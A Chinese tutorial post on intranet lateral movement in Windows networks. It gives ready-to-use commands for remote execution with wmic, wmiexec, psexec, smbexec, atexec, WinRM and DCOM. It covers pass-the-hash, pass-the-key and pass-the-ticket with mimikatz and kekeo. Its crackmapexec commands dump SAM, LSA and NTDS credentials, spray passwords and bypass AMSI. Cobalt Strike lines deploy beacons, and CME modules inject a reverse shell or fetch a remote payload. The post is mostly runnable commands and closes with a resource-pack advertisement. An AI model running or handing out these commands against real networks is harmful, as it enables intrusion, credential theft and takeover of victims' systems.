内网渗透基础

news2024/11/17 14:28:25

内网

内网指的是内部局域网,常说的LAN(local area network)。常见家庭wifi网络和小型的企业网络,通常内部计算机直接访问路由器设备,路由器设备接入移动电信的光纤实现上网。

图片

内部局域网可以通过交换机/防火墙组成多个网络(局域),多个局域之间进行访问控制。新概念(安全域)。

图片

如专门存放服务器的统称为DMZ(非军事化区域),运维区,内网办公区等,常说的内网渗透就是在局域网内部渗透,内网渗透比较有难度的是域渗透

KB2871997&KB2928120

微软在2014年发布了KB2871997KB2928120两个补丁,用来阻止域内主机本地用户的网络登录,这样就无法以本地管理员的权限执行wmi、psexec、schtasks、at和文件访问共享,本地用户的PTH方式已经死掉,然而默认的Administrator(SID 500)这个账户仍可以进行PTH,并且在禁用NTLM的情况下,psexec无法进行远程连接,但是使用mimikatz可以攻击成功。

UNC路径

UNC路径代表通用命名约定路径(Universal Naming Convention),它是一种网络路径格式,用于标识在网络上共享的资源位置。UNC路径允许您在本地网络中访问远程共享。

UNC路径由两个反斜杠\,后跟远程计算机的名称或IP地址、可选的共享名称、可选的路径和文件名组成。例如:

\\ComputerName\ShareName\Path\FileName

其中ComputerName是远程计算机的名称或IP地址,ShareName是共享名称,在访问共享时需要使用该名称,Path是共享文件夹中的路径,FileName是所需文件的名称。

WMI

WMI(Windows management instrumentation)可以描述为管理Windows系统的方法和功能,我们可以把它当作API来与Win系统进行相互交流,WMI在渗透测试中的价值在于它不需要下载和安装,WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。

135端口

RPC:远程过程调用服务,WMIC(winsows management instrumentation)用到这个端口。

图片

wmic具体用法如下:

# 打开一个计算器wmic /node:ip /user:用户名 /password:密码 PROCESS call create "calc.exe" #无回显wmic /node:192.168.1.56 /user:administrator /password:aab+1s PROCESS call create "calc.exe"wmic /node:192.168.1.56 /user:administrator /password:aab+1s process call create "cmd.exe /c ipconfig >C:\1.txt"

连接报错如下信息:

图片

ip错了报如下信息:

图片

密码填错报如下信息:

图片

用另一台计算机尝试连接,正常访问,命令执行成功,wmic执行后无回显,需写入到文本文件中。

图片

图片

WMIEXEC

获取交互式shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.56 administrator aab+1s

图片

执行单条命令

cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.56 administrator aab+1s "cmdkey /list"

图片

如上是提供了密码,如无密码,可以利用wce的hash注入,然后执行wmiexec就可以了。

wce –s 账号:主机名或域的名字:LM:NTLMcscript //nologo wmiexec.vbs /shell 192.168.0.1

如果抓取的LM hash是AAD3开头的,或者是No Password之类的,计用32个0代替LM hash

wmiexec.exe

wmiexec.exe ./administrator:aab+1s@192.168.1.56 "whoami"

图片

hash传递

wmiexec.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/Administrator@192.168.10.173 "ipconfig"

https://github.com/rootclay/WMIHACKER/blob/master/README_zh.md

137,138,139端口

137、138为UDP端口,主要用于内网传输文件,NetBios/SMB服务的获取主要是通过139端口。

445端口

共享文件夹、共享打印机

ipc$

IPC$是共享“命名管道”的资源,为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问,从NT/2000开始使用。

IPC$在同一时间内,两个IP之间只允许建立一个连接。

NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或管理员目录(admin$)共享。

net use \\192.168.1.56\c$ "password" /user:"domain\username"net use \\192.168.1.56\c$ "aab+1s" /user:administrator

图片

另一台主机net use远程连接

图片

扩展语法

net use \\192.168.1.56\c$# 删除ipc$连接net use \\192.168.1.56\ipc$ /del# 将目标磁盘映射到本地net use z: \\192.168.1.56\c$# 删除映射net use z: /del# 关闭共享net use ipc$ /del

ipc$空连接

横向渗透SMB(通过445端口)

利用SMB服务,需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。

psexec

net use \\192.168.1.56\c$ "aab+1s" /user:administratorPsExec.exe \\192.168.1.56 whoami.\PsExec.exe -u administrator -p 123456 \\dc01 cmd# 交互式shell(相同凭证可直接登录)psexec -accepteula \\ip -s cmd.exe

图片

执行原理

1.通过ipc$连接,释放psexecsvc.exe到目标 2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。 3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。 4.运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug,所以一般不推荐使用psexec,推荐wmiexec

C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

图片

cs - plugins

选中需横向的主机,jump-psexec64

图片

图片

选择一个认证,listen如果可出网,选择1,内网横向则用smb beacon2。

直接使用命令行。

jump [module] [target] [listener]jump psexec64 192.168.10.173 local

图片

通过psexec横向到目标机器,凭证用的是已知凭证去碰撞图片

此时整体拓扑如下,是父子关系,这是因为用的是http beacon直接连接teamserver,如果用smb beacon就是link关系。

图片

换一下smb beacon

图片

主机ip后面带有四个圆圈。

图片

smb的箭头是黄色

https://www.cnblogs.com/sup3rman/p/12381874.html

SMBEXEC

明文传递

smbexec.exe administrator:aab+1s@192.168.10.173

图片

hash传递

hash传递:smbexec -hashes :$HASH$ admin@192.168.10.173smbeexec -hashes :$HASH$ domain/admin@192.168.10.173

dump hash

图片

图片

atexec

  • 批量
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文 连接 FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文 回显版 FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP 回显版 FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测 HASH 对应 IP 回显版  

PTH

域/工作组环境,内存中存在和当前机器相同的密码,在身份验证过程中,基本过程是从用户那里收集密码,然后对其进行加密,然后将正确密码的加密哈希用于将来的身份验证。

初次认证后,Windows 将哈希值保存在内存中,这样用户就不必一次又一次地输入密码。

在凭证转储期间,我们看到我们已经提取了大量的哈希值。现在作为攻击者,我们不知道密码。因此,在身份验证期间,我们提供哈希而不是密码。

Windows比较哈希值并热烈欢迎攻击者。简而言之,这就是 Pass-the-Hash 攻击。

https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/

mimikatz - PTH

privilege::debug sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a

图片

弹出窗口后,连接共享端口,传输文件

# privilege::debug# sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a

图片

拷贝文件

图片

参考:内网渗透–Hash传递攻击

PTK

需要存在补丁kb2871997

使用minikatz获取aes256_hmac:sekurlsa::ekeys传递连接:sekurlsa::pth /user:mary/domain:hsyy.com/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b  

PTT

实现步骤:  1、生成票据 kekeo “tgt::ask /user:mary /domain:hsyy.com /ntlm:518b98ad4178a53695dc997aa02d455c”  2、导入票据 kerberos::ptt [TGT_haha@HSYY.COM_krbtgt](mailto:TGT_haha@HSYY.COM_krbtgt)~hsyy.com@GOD.ORG.kirbi  3、查看凭证 klist  4、利用 net use 载入 dir \192.168.213.163\c$  

smbclient

认证登录

  • 明文
smbclient -L //192.168.10.173 -U Administrator

  • hash
smbclient.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/Administrator@192.168.10.173

图片

空会话枚举

smbclient -N -U "" -L \\192.168.1.214

rpcclient

# rpcclient -U "" -N 10.10.10.161 rpcclient $>enumdomusers# rpcclient -U corp.pentest.lab/administrator 10.10.10.161 

cme

https://mpgn.gitbook.io/crackmapexec/getting-started/installation/installation-on-windows

执行命令

crackmapexec smb 192.168.10.173 -u administrator -H 04cea78fa35a5be51f4aee6375651e8a -x ipconfig

图片

powershell

#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'

bypass ASMI

#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'  --amsi-bypass /path/payload

图片

cme网络扫描

crackmapexec smb 10.0.0.0/24

图片

crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --sharescrackmapexec smb 192.168.10.83 -u airs-win7 -p aab+1s --sharescrackmapexec smb 192.168.10.83 -u airs-win7 -H 04cea78fa35a5be51f4aee6375651e8a --shares 

图片

枚举空会话

cme smb 10.10.10.161 -u '' -p ''cme smb 10.10.10.161 --pass-polcme smb 10.10.10.161 --userscme smb 10.10.10.161 --groupscme smb 10.10.10.178 -u 'a' -p '' -sharescme smb 10.10.10.178 -u -p -shares# 以递归方式遍历所有共享scrackmapexec smb  -u  -p  -M spider_plus

凭证获取

crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --sam  crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --lsacrackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntdscrackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds vss

msf反弹shell

图片

枚举远程目标上的活动会话

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares

密码喷洒

使用空格指定多个用户名/密码

#~ cme smb 192.168.1.101 -u user1 user2 user3 -p Summer18#~ cme smb 192.168.1.101 -u user1 -p password1 password2 password3

通过文本指定字典

#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18#~ cme smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt

找到密码后继续爆破

#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success# 一对一爆破#~ cme smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-succes

认证

User/Hash

获取凭证如下:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::

#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'#~ cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'#~ cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'

  • 本地认证
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth#~ cme smb 192.168.1.0/24 -u '' -p '' --local-auth#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' --local-auth#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' --local-auth#~ cme smb 192.168.1.0/24 -u localguy -H '13b29964cc2480b4ef454c59562e675c' --local-auth#~ cme smb 192.168.1.0/24 -u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth

爆破结果后如下:

	SMB         192.168.1.101    445    HOSTNAME          [+] HOSTNAME\Username:Password (Pwn3d!)  

winRM

#~ cme winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce

# use the latest release, CME is now a binary packaged will all its dependenciesroot@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip# execute cme (smb, winrm, mssql, ...)root@payload$ cme smb -Lroot@payload$ cme smb -M name_module -o VAR=DATAroot@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-authroot@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --sharesroot@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopherroot@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enableroot@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatzroot@payload$ cme mimikatz --server http --server-port 80

at、schtasks、

  • at

windows版本<2012,高版本中使用schtasks命令

at [\computername] [[id] [/delete] | /delete [/yes]]at [\computername] <time> [/interactive] [/every:date[,...] | /next:date[,...]] <command>

生成smb beacon

图片

上传smb beacon文件

图片

添加任务计划

shell at \\192.168.10.173 10:51 c:\local-smb.exe

图片

图片

已运行,无法反弹,smb shell的问题。

换成web beacon,成功反弹。

图片

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/at

  • schtasks
windows>=2012

schtasks create

创建任务对应执行文件

schtasks /create /sc <scheduletype> /tn <taskname> /tr <taskrun> [/s <computer> [/u [<domain>\]<user> [/p <password>]]] [/ru {[<domain>\]<user> | system}] [/rp <password>] [/mo <modifier>] [/d <day>[,<day>...] | *] [/m <month>[,<month>...]] [/i <idletime>] [/st <starttime>] [/ri <interval>] [{/et <endtime> | /du <duration>} [/k]] [/sd <startdate>] [/ed <enddate>] [/it] [/z] [/f]

schtasks /create /s 192.168.213.163 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\user.bat /F

schtasks run

执行文件任务

schtasks /run /s 192.168.213.163 /tn adduser /i

schtasks delete

删除执行文件任务

schtasks /delect /s 192.168.213.163 /tn adduser /f

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create


sharpwmi

.\sharpwmi.exe login 192.168.10.1/24 administrator aab+1s cmd whoami

图片

cs报错

[-] Invoke_3 on EntryPoint failed.

图片

nbtscan

通过IP扫描网络获取bios名称(计算机名)

图片

图片

bash$ sudo nbtscan -v -s : 192.168.1.0/24

  • cs plugin

图片

winRM

WinRM(windows远程管理)是WS管理协议的Microsoft实现,一种基于标准的SOAP协议,允许来自不同供应商的硬件和操作系统相互操作,能够对本地或远程的服务器进行管理,获得一个类似Telnet的交互式命令行shell,以便降低系统管理员复杂的操作。

端口: HTTP(5985) HTTPS SOAP(5986)

前提:凭证及权限

CS中有WinRM模块。

图片

winrm:x86,通过WinRM来运行一个PowerShell脚本 winrm:x64,通过WinRM来运行一个PowerShell脚本

进入winrm64后,内容如下:

图片

前提需要有认证,才可以横向进入,此处的认证获取可以通过内部撞库、历史RDP凭证等方式获取,内部撞库是拿已知的密码去尝试是否有复用密码,历史RDP凭证是如果管理员再内网通过3389登录后且记录了密码,可以通过获取历史RDP登录记录获取凭证。

如上图所示,已经拥有192.168.1.214的密码凭证,但不清楚192.168.1.55的凭证,此时可以尝试使用192.168.1.214的凭证。

监听器和会话按需选择,会话是当前的beacon。

图片

尝试运行,报错了。

jump winrm64 192.168.1.55 test

图片

查看服务器端口情况,未开启5985端口。

图片

可通过winrm命令开启5985端口,windows server 2008默认winrm服务是启动的,但端口未开放,需要通过winrm quickconfig -q 或者 winrm qc开启端口。

图片

  • 开启winRM服务

图片

重新查看端口开放情况,5985端口已打开。

图片

  • 开启防火墙或关闭防火墙命令
C:\Windows\system32>netsh advfirewall firewall set rule group="Windows 远程管理" new enable=yes

  • 使用powershell连接服务器

需提前开启信任主机

PS C:\Users\Administrator> Set-Item wsman:\localhost\Client\TrustedHosts -value 192.168.1.* -Force# 这个命令需要再客户端执行,而不是再服务端执行或者用下面的命令winrm set winrm/config/client @{TrustedHosts="*"}PS C:\Users\Administrator> Enter-PSSession 192.168.1.55 -Credential administrator

图片

图片

输入凭证,连接成功。

图片

或者

New-PSSession -ComputerName 192.168.1.55 -Credential (Get-Credential)Enter-PSSession 1

图片

通过CS操作

beacon> jump winrm64 192.168.1.55 test

图片

成功返回shell

图片

修复建议:

禁用WinRM

winrm delete winrm/config/listener?IPAdress=*+Transport=HTTP

  • ⚠️ windows8、windows10、windows server 2012及以上系统,WinRM服务默认开启。
evil-winrm

GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting

WinRS

WinRS(Windows Remote Shell)是一种远程管理工具,用于在Windows远程服务器上运行命令行命令。WinRS使用WinRM(Windows Remote Management)协议向远程计算机发送命令行请求。 WinRS在Windows Server 2008及更高版本的操作系统中预安装,并且可以在Windows 7及更高版本的操作系统中启用。要使用WinRS,您必须在远程服务器上启用WinRM,并且在本地计算机上运行命令时必须使用管理员权限。

winrs -r:192.168.1.55 "cmd /c ipconfig"

图片

# 端口复用下winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s whoamiwinrs -r:http://192.168.1.55 -u:administrator -p:aab+1s cmd

DCOM

DCOM代表分布式组件对象模型(Distributed Component Object Model),它是一种Microsoft的分布式系统服务。它允许计算机上的应用程序通过网络连接和通信。DCOM使开发人员能够从远程计算机上执行代码,并使应用程序之间的通信更为容易和灵活。

PS C:\Users\Administrator> Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

图片

PS C:\Users\Administrator> $a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.1.55"))PS C:\Users\Administrator> $a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")PS C:\Users\Administrator> Get-Content \\192.168.1.55\c$\fromdcom.txtWIN-BVVD8VFVMPR

图片

SCShell

GitHub - Mr-Un1k0d3r/SCShell: Fileless lateral movement tool that relies on ChangeServiceConfigA to run command

No445

GitHub - JDArmy/NO445-lateral-movement: command execute without 445 port

数据库命令执行

GitHub - 0x727/SqlKnife_0x727: 适合在命令行中使用的轻巧的SQL Server数据库安全检测工具

最后

朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述

1.网安必备全套工具包和源码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,路线图上的每一个知识点,我都有配套的视频讲解。
在这里插入图片描述

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加护网行动、CTF和挖SRC漏洞的经验和技术要点。
在这里插入图片描述

网安方面的电子书我也收藏了200多本,基本上热门的和经典的我都有,也可以共享。
在这里插入图片描述

4.NISP、CISP等各种证书备考大礼包

在这里插入图片描述

5.CTF项目实战

学习网安技术最忌讳纸上谈兵,而在项目实战中,既能学习又能获得报酬的CTF比赛无疑是最好的试金石!

在这里插入图片描述

6.网安大厂面试题

这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
在这里插入图片描述
朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1295240.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

华清远见嵌入式学习——QT——作业2

作业要求&#xff1a; 代码运行效果图&#xff1a; 登录失败 和 最小化 和 取消登录 登录成功 和 X号退出 代码&#xff1a; ①&#xff1a;头文件 #ifndef LOGIN_H #define LOGIN_H#include <QMainWindow> #include <QLineEdit> //行编辑器类 #include…

《深入理解计算机系统》学习笔记 - 第四课 - 机器级别的程序

Lecture 05 Machine Level Programming I Basics 机器级别的程序 文章目录 Lecture 05 Machine Level Programming I Basics 机器级别的程序intel 处理器的历史和体系结构芯片的构成AMD 公司(Advanced Micro Devices&#xff0c;先进的微型设备) C, 汇编, 机器代码定义汇编/机器…

MDK官网如何下载stm32支持包

网站&#xff1a;https://www.keil.com/demo/eval/arm.htm 1 2 3点这个下载

打造专属小程序,乔拓云模板平台助力商家抢占先机

打造专属小程序&#xff0c;乔拓云模板平台助力商家抢占先机&#xff01;该平台涵盖全行业小程序模板&#xff0c;一键复制即可上线。 想要快速创建高效实用的小程序&#xff0c;乔拓云小程序模板开发平台为您提供了解决方案&#xff01;我们为您提供一系列精心设计的小程序模板…

智汇恒星科技|控乐屋.全宅智能冠军代言来啦, 智慧家居千亿蓝海

随着5G、大数据、云计算、物联网等技术的发展&#xff0c;智能化正覆盖人们生活的方方面面&#xff0c;全屋智能的出现为“一键式”智能家居生活享受提供无限可能。近年来智能家居行业总体规模增长迅速&#xff0c;数据显示&#xff0c;2022年中国智能家居行业市场规模约为6200…

flstudio21破解汉化版2024最新水果编曲使用教程

​ 如果你一直梦想制作自己的音乐(无论是作为一名制作人还是艺术家)&#xff0c;你可能会想你出生在这个时代是你的幸运星。这个水果圈工作室和上一版之间的改进水平确实令人钦佩。这仅仅是FL Studio 21所提供的皮毛。你的音乐项目的选择真的会让你大吃一惊。你以前从未有过这…

vue3移动端脚手架(纯净,集成丰富)

概述 一个纯净的移动端框架 &#xff0c;用到了 Vue3 vuex Vite3 Vant3 sass eslint stylelint htmlhint husky commitlint axios axios-adapter VConsole 自定义全局 loading &#xff0c;自定义函数式 dialog &#xff08;api模仿微信小程序&#xff09;&#x…

选自《洛谷深入浅出进阶篇》——欧拉函数+欧拉定理+扩展欧拉定理

欧拉函数&#xff1a; 欧拉函数定义&#xff1a; 1~n中与n互质的数的个数。 比如 欧拉函数是积性函数&#xff1a;&#xff08;也就是&#xff09;当 n与m互质的时候&#xff1a; 由算术基本定理&#xff0c;我们可以设n&#xff0c;那么我们只要计算出的取值就能求出的取…

【后端学前端学习记录】学习计划

1、个人背景 写了足够久的后端了&#xff0c;常用的语言基本上都接触过&#xff0c;没有在工作中写过前端 一直想做一些前端的工作&#xff0c;但是前端技能不足加上自己审美不行&#xff0c;写出的界面总是很丑 所以一直对前端做不好&#xff0c;也没有真正下手。 2、动机 种…

C# Solidworks二次开发:选择管理器相关的API介绍

今天在讲述主要内容之前&#xff0c;先说一个不太相关的问题。 我之前在其他文章中看到有一些朋友在问为什么获取到的点位数据需要乘以1000进行单位转换&#xff0c;其实原因是这样的&#xff0c;在所有使用的API中如果没有特殊说明&#xff0c;所有的长度单位都是米&#xff…

Langchain-Chatchat大语言模型本地知识库的踩坑、部署、使用

Langchain-Chatchat的部署 Langchain-Chatchat概述实现原理 开发环境准备软件要求硬件要求 部署拉取仓库创建虚拟环境安装全部依赖初始化配置文件初始化知识库模型下载启动项目启动API服务启动Web UI服务使用对话功能知识库管理文件对话搜索引擎问答 异常集合异常1异常2异常3 L…

Linux——web网站服务(一)

一、安装httpd服务器Apache网站服务 1、准备工作 为了避免发送端口冲突&#xff0c;程序冲突等现象&#xff0c;卸载使用rpm方式安装的httpd #使用命令检查是否下载了httpd [rootserver ~]# rpm -qa httpd #如果有则使用 [rootserver ~]# rpm -e httpd --nodeps Apache的配置…

AGI 时代,小红书邀您一起复盘年度 100 件值得学习的好案例

2023 年&#xff0c;由 ChatGPT 引爆新一轮人工智能热潮&#xff0c;开启了由大模型驱动的 AGI 时代。随着 AIGC 的快速崛起&#xff0c;传统的研发模式是否会被 AI 颠覆也成为了巨大的未知数。面对不同规模团队与不同业务场景&#xff0c;企业想要找到可靠、可行、可落地的转型…

temu日本站在哪里入驻

在跨境电商领域中&#xff0c;Temu是拼多多推出的一款备受瞩目的平台。如今&#xff0c;越来越多的商家希望将自己的业务扩展到日本市场&#xff0c;而在Temu日本站上入驻就成为了一个不可忽视的机遇。本文将为您介绍如何在Temu日本站上入驻&#xff0c;并提供一些有用的技巧和…

Swing程序设计(9)复选框,下拉框

文章目录 前言一、复选框二、下拉框总结 前言 该篇文章简单介绍了Java中Swing组件里的复选框组件、列表框组件、下拉框组件&#xff0c;这些在系统中都是常用的组件。 一、复选框 复选框&#xff08;JCheckBox&#xff09;在Swing组件中的使用也非常广泛&#xff0c;一个方形方…

【MATLAB源码-第98期】基于matlab的能量谷优化算法(EVO)无人机三维路径规划,输出做短路径图和适应度曲线。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 能量谷优化算法&#xff08;Energy Valley Optimization, EVO&#xff09;是一种启发式优化算法&#xff0c;灵感来源于物理学中的“能量谷”概念。它试图模拟能量在不同能量谷中的转移过程&#xff0c;以寻找最优解。 在EVO…

Spring boot各种Date时间相差8小时出现的问题及其解决方法!

数据库中存的是2019-07-22 22:00:00 但是页面展示2019-07-22 14:00:00 查看数据时区是08:00导致的,数据库是Oracle&#xff0c;生成数据库没办法改时区 一&#xff1a;Spring boot ResponseBody转换JSON 时 Date 时间相差8小时 一描述&#xff1a;当使用jackson时&#xff0c;…

什么是JVM的内存模型?详细阐述Java中局部变量、常量、类名等信息在JVM中的存储位置

导航&#xff1a; 【Java笔记踩坑汇总】Java基础JavaWebSSMSpringBootSpringCloud瑞吉外卖/黑马旅游/谷粒商城/学成在线设计模式面试题汇总性能调优/架构设计源码-CSDN博客 目录 一、JVM基本介绍 二、JVM内存模型 2.0 概述 2.1 类加载子系统 2.2 运行时数据区 2.2.0 基本…

使用静态HTTP提供动态内容

在Web开发中&#xff0c;静态HTTP和动态HTTP常被视作两种截然不同的技术。静态HTTP主要用于传输不变的内容&#xff0c;如HTML、CSS和JavaScript文件&#xff0c;而动态HTTP则能处理用户交互、实时数据等动态需求。但鲜为人知的是&#xff0c;我们其实可以通过一些技巧&#xf…

Python Appium Selenium 查杀进程的实用方法

一、前置说明 在自动化过程中&#xff0c;经常需要在命令行中执行一些操作&#xff0c;比如启动应用、查杀应用等&#xff0c;因此可以封装成一个CommandExecutor来专门处理这些事情。 二、操作步骤 # cmd_util.pyimport logging import os import platform import shutil i…